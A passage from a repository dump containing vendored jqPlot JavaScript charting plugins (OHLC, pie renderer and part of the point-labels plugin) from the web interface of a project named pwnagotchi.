== 'number') { r._bodyWidth = r.bodyWidth; } else { r._bodyWidth = Math.min(20, dinterval/1.65); } } else { if (typeof(r.tickLength) == 'number') { r._tickLength = r.tickLength; } else { r._tickLength = Math.min(10, dinterval/3.5); } } for (var i=xminidx; i<xmaxidx; i++) { x = xp(d[i][0]); if (r.hlc) { open = null; hi = yp(d[i][1]); low = yp(d[i][2]); close = yp(d[i][3]); } else { open = yp(d[i][1]); hi = yp(d[i][2]); low = yp(d[i][3]); close = yp(d[i][4]); } o = {}; if (r.candleStick && !r.hlc) { w = r._bodyWidth; a = x - w/2; // draw candle // determine if candle up or down // up, remember grid coordinates increase downward if (close < open) { // draw wick if (r.wickColor) { o.color = r.wickColor; } else if (r.downBodyColor) { o.color = r.upBodyColor; } ops = $.extend(true, {}, opts, o); r.shapeRenderer.draw(ctx, [[x, hi], [x, close]], ops); r.shapeRenderer.draw(ctx, [[x, open], [x, low]], ops); o = {}; b = close; h = open - close; // if color specified, use it if (r.fillUpBody) { o.fillRect = true; } else { o.strokeRect = true; w = w - this.lineWidth; a = x - w/2; } if (r.upBodyColor) { o.color = r.upBodyColor; o.fillStyle = r.upBodyColor; } points = [a, b, w, h]; } // down else if (close > open) { // draw wick if (r.wickColor) { o.color = r.wickColor; } else if (r.downBodyColor) { o.color = r.downBodyColor; } ops = $.extend(true, {}, opts, o); r.shapeRenderer.draw(ctx, [[x, hi], [x, open]], ops); r.shapeRenderer.draw(ctx, [[x, close], [x, low]], ops); o = {}; b = open; h = close - open; // if color specified, use it if (r.fillDownBody) { o.fillRect = true; } else { o.strokeRect = true; w = w - this.lineWidth; a = x - w/2; } if (r.downBodyColor) { o.color = r.downBodyColor; o.fillStyle = r.downBodyColor; } points = [a, b, w, h]; } // even, open = close else { // draw wick if (r.wickColor) { o.color = r.wickColor; } ops = $.extend(true, {}, opts, o); r.shapeRenderer.draw(ctx, [[x, hi], [x, low]], ops); o = {}; o.fillRect = false; o.strokeRect = false; a = [x - w/2, open]; b = [x + w/2, close]; w = null; h = null; points = [a, b]; } ops = $.extend(true, {}, opts, o); r.shapeRenderer.draw(ctx, points, ops); } else { prevColor = opts.color; if (r.openColor) { opts.color = r.openColor; } // draw open tick if (!r.hlc) { r.shapeRenderer.draw(ctx, [[x-r._tickLength, open], [x, open]], opts); } opts.color = prevColor; // draw wick if (r.wickColor) { opts.color = r.wickColor; } r.shapeRenderer.draw(ctx, [[x, hi], [x, low]], opts); opts.color = prevColor; // draw close tick if (r.closeColor) { opts.color = r.closeColor; } r.shapeRenderer.draw(ctx, [[x, close], [x+r._tickLength, close]], opts); opts.color = prevColor; } } } ctx.restore(); }; $.jqplot.OHLCRenderer.prototype.drawShadow = function(ctx, gd, options) { // This is a no-op, shadows drawn with lines. }; // called with scope of plot. $.jqplot.OHLCRenderer.checkOptions = function(target, data, options) { // provide some sensible highlighter options by default // These aren't good for hlc, only for ohlc or candlestick if (!options.highlighter) { options.highlighter = { showMarker:false, tooltipAxes: 'y', yvalues: 4, formatString:'<table class="jqplot-highlighter"><tr><td>date:</td><td>%s</td></tr><tr><td>open:</td><td>%s</td></tr><tr><td>hi:</td><td>%s</td></tr><tr><td>low:</td><td>%s</td></tr><tr><td>close:</td><td>%s</td></tr></table>' }; } }; //$.jqplot.preInitHooks.push($.jqplot.OHLCRenderer.checkOptions); })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.pieRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.PieRenderer * Plugin renderer to draw a pie chart. * x values, if present, will be used as slice labels. * y values give slice size. * * To use this renderer, you need to include the * pie renderer plugin, for example: * * > <script type="text/javascript" src="plugins/jqplot.pieRenderer.js"></script> * * Properties described here are passed into the $.jqplot function * as options on the series renderer. For example: * * > plot2 = $.jqplot('chart2', [s1, s2], { * > seriesDefaults: { * > renderer:$.jqplot.PieRenderer, * > rendererOptions:{ * > sliceMargin: 2, * > startAngle: -90 * > } * > } * > }); * * A pie plot will trigger events on the plot target * according to user interaction. All events return the event object, * the series index, the point (slice) index, and the point data for * the appropriate slice. * * 'jqplotDataMouseOver' - triggered when user mouseing over a slice. * 'jqplotDataHighlight' - triggered the first time user mouses over a slice, * if highlighting is enabled. * 'jqplotDataUnhighlight' - triggered when a user moves the mouse out of * a highlighted slice. * 'jqplotLegendHighlight' - triggered the first time user mouses over a legend, * if highlighting is enabled. * 'jqplotLegendUnhighlight' - triggered when a user moves the mouse out of * a highlighted legend. * 'jqplotDataClick' - triggered when the user clicks on a slice. * 'jqplotDataRightClick' - tiggered when the user right clicks on a slice if * the "captureRightClick" option is set to true on the plot. */ $.jqplot.PieRenderer = function(){ $.jqplot.LineRenderer.call(this); }; $.jqplot.PieRenderer.prototype = new $.jqplot.LineRenderer(); $.jqplot.PieRenderer.prototype.constructor = $.jqplot.PieRenderer; // called with scope of a series $.jqplot.PieRenderer.prototype.init = function(options, plot) { // Group: Properties // // prop: diameter // Outer diameter of the pie, auto computed by default this.diameter = null; // prop: padding // padding between the pie and plot edges, legend, etc. this.padding = 20; // prop: sliceMargin // angular spacing between pie slices in degrees. this.sliceMargin = 0; // prop: fill // true or false, whether to fil the slices. this.fill = true; // prop: shadowOffset // offset of the shadow from the slice and offset of // each succesive stroke of the shadow from the last. this.shadowOffset = 2; // prop: shadowAlpha // transparency of the shadow (0 = transparent, 1 = opaque) this.shadowAlpha = 0.07; // prop: shadowDepth // number of strokes to apply to the shadow, // each stroke offset shadowOffset from the last. this.shadowDepth = 5; // prop: highlightMouseOver // True to highlight slice when moused over. // This must be false to enable highlightMouseDown to highlight when clicking on a slice. this.highlightMouseOver = true; // prop: highlightMouseDown // True to highlight when a mouse button is pressed over a slice. // This will be disabled if highlightMouseOver is true. this.highlightMouseDown = false; // prop: highlightColors // an array of colors to use when highlighting a slice. this.highlightColors = []; // prop: dataLabels // Either 'label', 'value', 'percent' or an array of labels to place on the pie slices. // Defaults to percentage of each pie slice. this.dataLabels = 'percent'; // prop: showDataLabels // true to show data labels on slices. this.showDataLabels = false; // prop: dataLabelFormatString // Format string for data labels. If none, '%s' is used for "label" and for arrays, '%d' for value and '%d%%' for percentage. this.dataLabelFormatString = null; // prop: dataLabelThreshold // Threshhold in percentage (0-100) of pie area, below which no label will be displayed. // This applies to all label types, not just to percentage labels. this.dataLabelThreshold = 3; // prop: dataLabelPositionFactor // A Multiplier (0-1) of the pie radius which controls position of label on slice. // Increasing will slide label toward edge of pie, decreasing will slide label toward center of pie. this.dataLabelPositionFactor = 0.52; // prop: dataLabelNudge // Number of pixels to slide the label away from (+) or toward (-) the center of the pie. this.dataLabelNudge = 2; // prop: dataLabelCenterOn // True to center the data label at its position. // False to set the inside facing edge of the label at its position. this.dataLabelCenterOn = true; // prop: startAngle // Angle to start drawing pie in degrees. // According to orientation of canvas coordinate system: // 0 = on the positive x axis // -90 = on the positive y axis. // 90 = on the negaive y axis. // 180 or - 180 = on the negative x axis. this.startAngle = 0; this.tickRenderer = $.jqplot.PieTickRenderer; // prop: showSlice // Array for whether the pie chart slice for a data element should be displayed. // Containsg true or false for each data element. If not specified, defaults to true. this.showSlice = []; // Used as check for conditions where pie shouldn't be drawn. this._drawData = true; this._type = 'pie'; // if user has passed in highlightMouseDown option and not set highlightMouseOver, disable highlightMouseOver if (options.highlightMouseDown && options.highlightMouseOver == null) { options.highlightMouseOver = false; } $.extend(true, this, options); if (this.sliceMargin < 0) { this.sliceMargin = 0; } this._diameter = null; this._radius = null; // array of [start,end] angles arrays, one for each slice. In radians. this._sliceAngles = []; // index of the currenty highlighted point, if any this._highlightedPoint = null; // set highlight colors if none provided if (this.highlightColors.length == 0) { for (var i=0; i<this.seriesColors.length; i++){ var rgba = $.jqplot.getColorComponents(this.seriesColors[i]); var newrgb = [rgba[0], rgba[1], rgba[2]]; var sum = newrgb[0] + newrgb[1] + newrgb[2]; for (var j=0; j<3; j++) { // when darkening, lowest color component can be is 60. newrgb[j] = (sum > 570) ? newrgb[j] * 0.8 : newrgb[j] + 0.3 * (255 - newrgb[j]); newrgb[j] = parseInt(newrgb[j], 10); } this.highlightColors.push('rgb('+newrgb[0]+','+newrgb[1]+','+newrgb[2]+')'); } } this.highlightColorGenerator = new $.jqplot.ColorGenerator(this.highlightColors); plot.postParseOptionsHooks.addOnce(postParseOptions); plot.postInitHooks.addOnce(postInit); plot.eventListenerHooks.addOnce('jqplotMouseMove', handleMove); plot.eventListenerHooks.addOnce('jqplotMouseDown', handleMouseDown); plot.eventListenerHooks.addOnce('jqplotMouseUp', handleMouseUp); plot.eventListenerHooks.addOnce('jqplotClick', handleClick); plot.eventListenerHooks.addOnce('jqplotRightClick', handleRightClick); plot.postDrawHooks.addOnce(postPlotDraw); }; $.jqplot.PieRenderer.prototype.setGridData = function(plot) { // set gridData property. This will hold angle in radians of each data point. var stack = []; var td = []; var sa = this.startAngle/180*Math.PI; var tot = 0; // don't know if we have any valid data yet, so set plot to not draw. this._drawData = false; for (var i=0; i<this.data.length; i++){ if (this.data[i][1] != 0) { // we have data, O.K. to draw. this._drawData = true; if (this.showSlice[i] === undefined) { this.showSlice[i] = true; } } stack.push(this.data[i][1]); td.push([this.data[i][0]]); if (i>0) { stack[i] += stack[i-1]; } tot += this.data[i][1]; } var fact = Math.PI*2/stack[stack.length - 1]; for (var i=0; i<stack.length; i++) { td[i][1] = stack[i] * fact; td[i][2] = this.data[i][1]/tot; } this.gridData = td; }; $.jqplot.PieRenderer.prototype.makeGridData = function(data, plot) { var stack = []; var td = []; var tot = 0; var sa = this.startAngle/180*Math.PI; // don't know if we have any valid data yet, so set plot to not draw. this._drawData = false; for (var i=0; i<data.length; i++){ if (this.data[i][1] != 0) { // we have data, O.K. to draw. this._drawData = true; } stack.push(data[i][1]); td.push([data[i][0]]); if (i>0) { stack[i] += stack[i-1]; } tot += data[i][1]; } var fact = Math.PI*2/stack[stack.length - 1]; for (var i=0; i<stack.length; i++) { td[i][1] = stack[i] * fact; td[i][2] = data[i][1]/tot; } return td; }; function calcRadiusAdjustment(ang) { return Math.sin((ang - (ang-Math.PI) / 8 / Math.PI )/2.0); } function calcRPrime(ang1, ang2, sliceMargin, fill, lineWidth) { var rprime = 0; var ang = ang2 - ang1; var absang = Math.abs(ang); var sm = sliceMargin; if (fill == false) { sm += lineWidth; } if (sm > 0 && absang > 0.01 && absang < 6.282) { rprime = parseFloat(sm) / 2.0 / calcRadiusAdjustment(ang); } return rprime; } $.jqplot.PieRenderer.prototype.drawSlice = function (ctx, ang1, ang2, color, isShadow) { if (this._drawData) { var r = this._radius; var fill = this.fill; var lineWidth = this.lineWidth; var sm = this.sliceMargin; if (this.fill == false) { sm += this.lineWidth; } ctx.save(); ctx.translate(this._center[0], this._center[1]); var rprime = calcRPrime(ang1, ang2, this.sliceMargin, this.fill, this.lineWidth); var transx = rprime * Math.cos((ang1 + ang2) / 2.0); var transy = rprime * Math.sin((ang1 + ang2) / 2.0); if ((ang2 - ang1) <= Math.PI) { r -= rprime; } else { r += rprime; } ctx.translate(transx, transy); if (isShadow) { for (var i=0, l=this.shadowDepth; i<l; i++) { ctx.save(); ctx.translate(this.shadowOffset*Math.cos(this.shadowAngle/180*Math.PI), this.shadowOffset*Math.sin(this.shadowAngle/180*Math.PI)); doDraw(r); } for (var i=0, l=this.shadowDepth; i<l; i++) { ctx.restore(); } } else { doDraw(r); } ctx.restore(); } function doDraw (rad) { // Fix for IE and Chrome that can't seem to draw circles correctly. // ang2 should always be <= 2 pi since that is the way the data is converted. // 2Pi = 6.2831853, Pi = 3.1415927 if (ang2 > 6.282 + this.startAngle) { ang2 = 6.282 + this.startAngle; if (ang1 > ang2) { ang1 = 6.281 + this.startAngle; } } // Fix for IE, where it can't seem to handle 0 degree angles. Also avoids // ugly line on unfilled pies. if (ang1 >= ang2) { return; } ctx.beginPath(); ctx.fillStyle = color; ctx.strokeStyle = color; ctx.lineWidth = lineWidth; ctx.arc(0, 0, rad, ang1, ang2, false); ctx.lineTo(0,0); ctx.closePath(); if (fill) { ctx.fill(); } else { ctx.stroke(); } } }; // called with scope of series $.jqplot.PieRenderer.prototype.draw = function (ctx, gd, options, plot) { var i; var opts = (options != undefined) ? options : {}; // offset and direction of offset due to legend placement var offx = 0; var offy = 0; var trans = 1; var colorGenerator = new $.jqplot.ColorGenerator(this.seriesColors); var sliceColor; if (options.legendInfo && options.legendInfo.placement == 'insideGrid') { var li = options.legendInfo; switch (li.location) { case 'nw': offx = li.width + li.xoffset; break; case 'w': offx = li.width + li.xoffset; break; case 'sw': offx = li.width + li.xoffset; break; case 'ne': offx = li.width + li.xoffset; trans = -1; break; case 'e': offx = li.width + li.xoffset; trans = -1; break; case 'se': offx = li.width + li.xoffset; trans = -1; break; case 'n': offy = li.height + li.yoffset; break; case 's': offy = li.height + li.yoffset; trans = -1; break; default: break; } } var shadow = (opts.shadow != undefined) ? opts.shadow : this.shadow; var fill = (opts.fill != undefined) ? opts.fill : this.fill; //see http://stackoverflow.com/questions/20221461/hidpi-retina-plot-drawing var cw = parseInt(ctx.canvas.style.width); var ch = parseInt(ctx.canvas.style.height); // var w = cw - offx - 2 * this.padding; var h = ch - offy - 2 * this.padding; var mindim = Math.min(w,h); var d = mindim; // Fixes issue #272. Thanks hugwijst! // reset slice angles array. this._sliceAngles = []; var sm = this.sliceMargin; if (this.fill == false) { sm += this.lineWidth; } var rprime; var maxrprime = 0; var ang, ang1, ang2, shadowColor; var sa = this.startAngle / 180 * Math.PI; // have to pre-draw shadows, so loop throgh here and calculate some values also. for (var i=0, l=gd.length; i<l; i++) { ang1 = (i == 0) ? sa : gd[i-1][1] + sa; ang2 = gd[i][1] + sa; this._sliceAngles.push([ang1, ang2]); rprime = calcRPrime(ang1, ang2, this.sliceMargin, this.fill, this.lineWidth); if (Math.abs(ang2-ang1) > Math.PI) { maxrprime = Math.max(rprime, maxrprime); } } if (this.diameter != null && this.diameter > 0) { this._diameter = this.diameter - 2*maxrprime; } else { this._diameter = d - 2*maxrprime; } // Need to check for undersized pie. This can happen if // plot area too small and legend is too big. if (this._diameter < 6) { $.jqplot.log('Diameter of pie too small, not rendering.'); return; } var r = this._radius = this._diameter/2; this._center = [(cw - trans * offx)/2 + trans * offx + maxrprime * Math.cos(sa), (ch - trans*offy)/2 + trans * offy + maxrprime * Math.sin(sa)]; if (this.shadow) { for (var i=0, l=gd.length; i<l; i++) { shadowColor = 'rgba(0,0,0,'+this.shadowAlpha+')'; this.renderer.drawSlice.call (this, ctx, this._sliceAngles[i][0], this._sliceAngles[i][1], shadowColor, true); } } for (var i=0; i<gd.length; i++) { sliceColor = colorGenerator.next(); if (this.showSlice[i]) { this.renderer.drawSlice.call (this, ctx, this._sliceAngles[i][0], this._sliceAngles[i][1], sliceColor, false); if (this.showDataLabels && gd[i][2]*100 >= this.dataLabelThreshold) { var fstr, avgang = (this._sliceAngles[i][0] + this._sliceAngles[i][1])/2, label; if (this.dataLabels == 'label') { fstr = this.dataLabelFormatString || '%s'; label = $.jqplot.sprintf(fstr, gd[i][0]); } else if (this.dataLabels == 'value') { fstr = this.dataLabelFormatString || '%d'; label = $.jqplot.sprintf(fstr, this.data[i][1]); } else if (this.dataLabels == 'percent') { fstr = this.dataLabelFormatString || '%d%%'; label = $.jqplot.sprintf(fstr, gd[i][2]*100); } else if (this.dataLabels.constructor == Array) { fstr = this.dataLabelFormatString || '%s'; label = $.jqplot.sprintf(fstr, this.dataLabels[i]); } var fact = (this._radius ) * this.dataLabelPositionFactor + this.sliceMargin + this.dataLabelNudge; var x = this._center[0] + Math.cos(avgang) * fact + this.canvas._offsets.left; var y = this._center[1] + Math.sin(avgang) * fact + this.canvas._offsets.top; var labelelem = $('<div class="jqplot-pie-series jqplot-data-label" style="position:absolute;">' + label + '</div>').insertBefore(plot.eventCanvas._elem); if (this.dataLabelCenterOn) { x -= labelelem.width()/2; y -= labelelem.height()/2; } else { x -= labelelem.width() * Math.sin(avgang/2); y -= labelelem.height()/2; } x = Math.round(x); y = Math.round(y); labelelem.css({left: x, top: y}); } } } }; $.jqplot.PieAxisRenderer = function() { $.jqplot.LinearAxisRenderer.call(this); }; $.jqplot.PieAxisRenderer.prototype = new $.jqplot.LinearAxisRenderer(); $.jqplot.PieAxisRenderer.prototype.constructor = $.jqplot.PieAxisRenderer; // There are no traditional axes on a pie chart. We just need to provide // dummy objects with properties so the plot will render. // called with scope of axis object. $.jqplot.PieAxisRenderer.prototype.init = function(options){ // this.tickRenderer = $.jqplot.PieTickRenderer; $.extend(true, this, options); // I don't think I'm going to need _dataBounds here. // have to go Axis scaling in a way to fit chart onto plot area // and provide u2p and p2u functionality for mouse cursor, etc. // for convienence set _dataBounds to 0 and 100 and // set min/max to 0 and 100. this._dataBounds = {min:0, max:100}; this.min = 0; this.max = 100; this.showTicks = false; this.ticks = []; this.showMark = false; this.show = false; }; $.jqplot.PieLegendRenderer = function(){ $.jqplot.TableLegendRenderer.call(this); }; $.jqplot.PieLegendRenderer.prototype = new $.jqplot.TableLegendRenderer(); $.jqplot.PieLegendRenderer.prototype.constructor = $.jqplot.PieLegendRenderer; /** * Class: $.jqplot.PieLegendRenderer * Legend Renderer specific to pie plots. Set by default * when user creates a pie plot. */ $.jqplot.PieLegendRenderer.prototype.init = function(options) { // Group: Properties // // prop: numberRows // Maximum number of rows in the legend. 0 or null for unlimited. this.numberRows = null; // prop: numberColumns // Maximum number of columns in the legend. 0 or null for unlimited. this.numberColumns = null; // prop: width // Fixed with of legend. 0 or null for auto size this.width = null; $.extend(true, this, options); }; // called with context of legend $.jqplot.PieLegendRenderer.prototype.draw = function() { var legend = this; if (this.show) { var series = this._series; this._elem = $(document.createElement('table')); this._elem.addClass('jqplot-table-legend'); var ss = {position:'absolute'}; if (this.background) { ss['background'] = this.background; } if (this.border) { ss['border'] = this.border; } if (this.fontSize) { ss['fontSize'] = this.fontSize; } if (this.fontFamily) { ss['fontFamily'] = this.fontFamily; } if (this.textColor) { ss['textColor'] = this.textColor; } if (this.marginTop != null) { ss['marginTop'] = this.marginTop; } if (this.marginBottom != null) { ss['marginBottom'] = this.marginBottom; } if (this.marginLeft != null) { ss['marginLeft'] = this.marginLeft; } if (this.marginRight != null) { ss['marginRight'] = this.marginRight; } this._elem.css(ss); // Pie charts legends don't go by number of series, but by number of data points // in the series. Refactor things here for that. var pad = false, reverse = false, nr, nc; var s = series[0]; var colorGenerator = new $.jqplot.ColorGenerator(s.seriesColors); if (s.show) { var pd = s.data; if (this.numberRows) { nr = this.numberRows; if (!this.numberColumns){ nc = Math.ceil(pd.length/nr); } else{ nc = this.numberColumns; } } else if (this.numberColumns) { nc = this.numberColumns; nr = Math.ceil(pd.length/this.numberColumns); } else { nr = pd.length; nc = 1; } var i, j; var tr, td1, td2; var lt, tt, rs, color; var idx = 0; var div0, div1; for (i=0; i<nr; i++) { tr = $(document.createElement('tr')); tr.addClass('jqplot-table-legend'); if (reverse){ tr.prependTo(this._elem); } else{ tr.appendTo(this._elem); } for (j=0; j<nc; j++) { if (idx < pd.length) { tt = ''; if (this.labels[idx]) { lt = this.labels[idx]; } else { if (typeof pd[idx][0] === 'object') { lt = pd[idx][0][0].toString(); tt = pd[idx][0][1].toString(); } else { lt = pd[idx][0].toString(); } } //lt = this.labels[idx] || pd[idx][0].toString(); color = colorGenerator.next(); if (!reverse){ if (i>0){ pad = true; } else{ pad = false; } } else{ if (i == nr -1){ pad = false; } else{ pad = true; } } rs = (pad) ? this.rowSpacing : '0'; td1 = $(document.createElement('td')); td1.addClass('jqplot-table-legend jqplot-table-legend-swatch'); td1.css({textAlign: 'center', paddingTop: rs}); div0 = $(document.createElement('div')); div0.addClass('jqplot-table-legend-swatch-outline'); if (tt !== '') { div0.attr("title", tt); } div1 = $(document.createElement('div')); div1.addClass('jqplot-table-legend-swatch'); div1.css({backgroundColor: color, borderColor: color}); td1.append(div0.append(div1)); td2 = $(document.createElement('td')); td2.addClass('jqplot-table-legend jqplot-table-legend-label'); td2.css('paddingTop', rs); if (this.escapeHtml){ td2.text(lt); } else { td2.html('<a title="' + tt + '">' + lt + "</a>"); } if (reverse) { td2.prependTo(tr); td1.prependTo(tr); } else { td1.appendTo(tr); td2.appendTo(tr); } pad = true; } idx++; } } } } return this._elem; }; $.jqplot.PieRenderer.prototype.handleMove = function(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; plot.target.trigger('jqplotDataMouseOver', ins); if (plot.series[ins[0]].highlightMouseOver && !(ins[0] == plot.plugins.pieRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { plot.target.trigger('jqplotDataHighlight', ins); highlight (plot, ins[0], ins[1]); } } else if (neighbor == null) { unhighlight (plot); } }; // this.eventCanvas._elem.bind($.jqplot.eventListenerHooks[i][0], {plot:this}, $.jqplot.eventListenerHooks[i][1]); // setup default renderers for axes and legend so user doesn't have to // called with scope of plot function preInit(target, data, options) { options = options || {}; options.axesDefaults = options.axesDefaults || {}; options.legend = options.legend || {}; options.seriesDefaults = options.seriesDefaults || {}; // only set these if there is a pie series var setopts = false; if (options.seriesDefaults.renderer == $.jqplot.PieRenderer) { setopts = true; } else if (options.series) { for (var i=0; i < options.series.length; i++) { if (options.series[i].renderer == $.jqplot.PieRenderer) { setopts = true; } } } if (setopts) { options.axesDefaults.renderer = $.jqplot.PieAxisRenderer; options.legend.renderer = options.legend.renderer || $.jqplot.PieLegendRenderer; options.legend.preDraw = true; options.seriesDefaults.pointLabels = {show: false}; } } function postInit(target, data, options) { for (var i=0; i<this.series.length; i++) { if (this.series[i].renderer.constructor == $.jqplot.PieRenderer) { // don't allow mouseover and mousedown at same time. if (this.series[i].highlightMouseOver) { this.series[i].highlightMouseDown = false; } } } } // called with scope of plot function postParseOptions(options) { for (var i=0; i<this.series.length; i++) { this.series[i].seriesColors = this.seriesColors; this.series[i].colorGenerator = $.jqplot.colorGenerator; } } function highlight (plot, sidx, pidx) { if (plot.series[sidx].showSlice[pidx]) { var s = plot.series[sidx]; var canvas = plot.plugins.pieRenderer.highlightCanvas; canvas._ctx.clearRect(0,0,canvas._ctx.canvas.width, canvas._ctx.canvas.height); s._highlightedPoint = pidx; plot.plugins.pieRenderer.highlightedSeriesIndex = sidx; s.renderer.drawSlice.call(s, canvas._ctx, s._sliceAngles[pidx][0], s._sliceAngles[pidx][1], s.highlightColorGenerator.get(pidx), false); } } function unhighlight (plot) { var canvas = plot.plugins.pieRenderer.highlightCanvas; canvas._ctx.clearRect(0,0, canvas._ctx.canvas.width, canvas._ctx.canvas.height); for (var i=0; i<plot.series.length; i++) { plot.series[i]._highlightedPoint = null; } plot.plugins.pieRenderer.highlightedSeriesIndex = null; plot.target.trigger('jqplotDataUnhighlight'); } function handleMove(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt1 = jQuery.Event('jqplotDataMouseOver'); evt1.pageX = ev.pageX; evt1.pageY = ev.pageY; plot.target.trigger(evt1, ins); if (plot.series[ins[0]].highlightMouseOver && !(ins[0] == plot.plugins.pieRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, ins[0], ins[1]); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseDown(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; if (plot.series[ins[0]].highlightMouseDown && !(ins[0] == plot.plugins.pieRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, ins[0], ins[1]); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseUp(ev, gridpos, datapos, neighbor, plot) { var idx = plot.plugins.pieRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } } function handleClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt = jQuery.Event('jqplotDataClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } function handleRightClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var idx = plot.plugins.pieRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } var evt = jQuery.Event('jqplotDataRightClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } // called within context of plot // create a canvas which we can draw on. // insert it before the eventCanvas, so eventCanvas will still capture events. function postPlotDraw() { // Memory Leaks patch if (this.plugins.pieRenderer && this.plugins.pieRenderer.highlightCanvas) { this.plugins.pieRenderer.highlightCanvas.resetCanvas(); this.plugins.pieRenderer.highlightCanvas = null; } this.plugins.pieRenderer = {highlightedSeriesIndex:null}; this.plugins.pieRenderer.highlightCanvas = new $.jqplot.GenericCanvas(); // do we have any data labels? if so, put highlight canvas before those var labels = $(this.targetId+' .jqplot-data-label'); if (labels.length) { $(labels[0]).before(this.plugins.pieRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-pieRenderer-highlight-canvas', this._plotDimensions, this)); } // else put highlight canvas before event canvas. else { this.eventCanvas._elem.before(this.plugins.pieRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-pieRenderer-highlight-canvas', this._plotDimensions, this)); } var hctx = this.plugins.pieRenderer.highlightCanvas.setContext(); this.eventCanvas._elem.bind('mouseleave', {plot:this}, function (ev) { unhighlight(ev.data.plot); }); } $.jqplot.preInitHooks.push(preInit); $.jqplot.PieTickRenderer = function() { $.jqplot.AxisTickRenderer.call(this); }; $.jqplot.PieTickRenderer.prototype = new $.jqplot.AxisTickRenderer(); $.jqplot.PieTickRenderer.prototype.constructor = $.jqplot.PieTickRenderer; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.pointLabels.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.PointLabels * Plugin for putting labels at the data points. * * To use this plugin, include the js * file in your source: * * > <script type="text/javascript" src="plugins/jqplot.pointLabels.js"></script> * * By default, the last value in the data ponit array in the data series is used * for the label. For most series renderers, extra data can be added to the * data point arrays and the last value will be used as the label. * * For instance, * this series: * * > [[1,4], [3,5], [7,2]] * * Would, by default, use the y values in the labels. * Extra data can be added to the series like so: * * > [[1,4,'mid'], [3 5,'hi'], [7,2,'low']] * * And now the point labels would be 'mid', 'low', and 'hi'. * * Options to the point labels and a custom labels array can be passed into the * "pointLabels" option on the series option like so: * * > series:[{pointLabels:{ * > labels:['mid', 'hi', 'low'], * > location:'se', * > ypadding: 12 * > } * > }] * * A custom labels array in the options takes precendence over any labels * in the series data. If you have a custom labels array in the options, * but still want to use values from the series array as labels, set the * "labelsFromSeries" option to true. * * By default, html entities (<, >, etc.) are escaped in point labels. * If you want to include actual html markup in the labels, * set the "escapeHTML" option to false. * */ $.jqplot.PointLabels = function(options) { // Group: Properties // // prop: show // show the labels or not. this.show = $.jqplot.config.enablePlugins; // prop: location // compass location where to position the label around the point. // 'n', 'ne', 'e', 'se', 's', 'sw', 'w', 'nw' this.location = 'n'; // prop: labelsFromSeries // true to use labels within data point arrays. this.labelsFromSeries = false; // prop: seriesLabelIndex // array index for location of labels within data point arrays. // if null, will use the last element of the data point array. this.seriesLabelIndex = null; // prop: labels // array of arrays of labels, one array for each series. this.labels = []; // actual labels that will get displayed. // needed to preserve user specified labels in labels array. this._labels = []; // prop: stackedValue // true to display value as 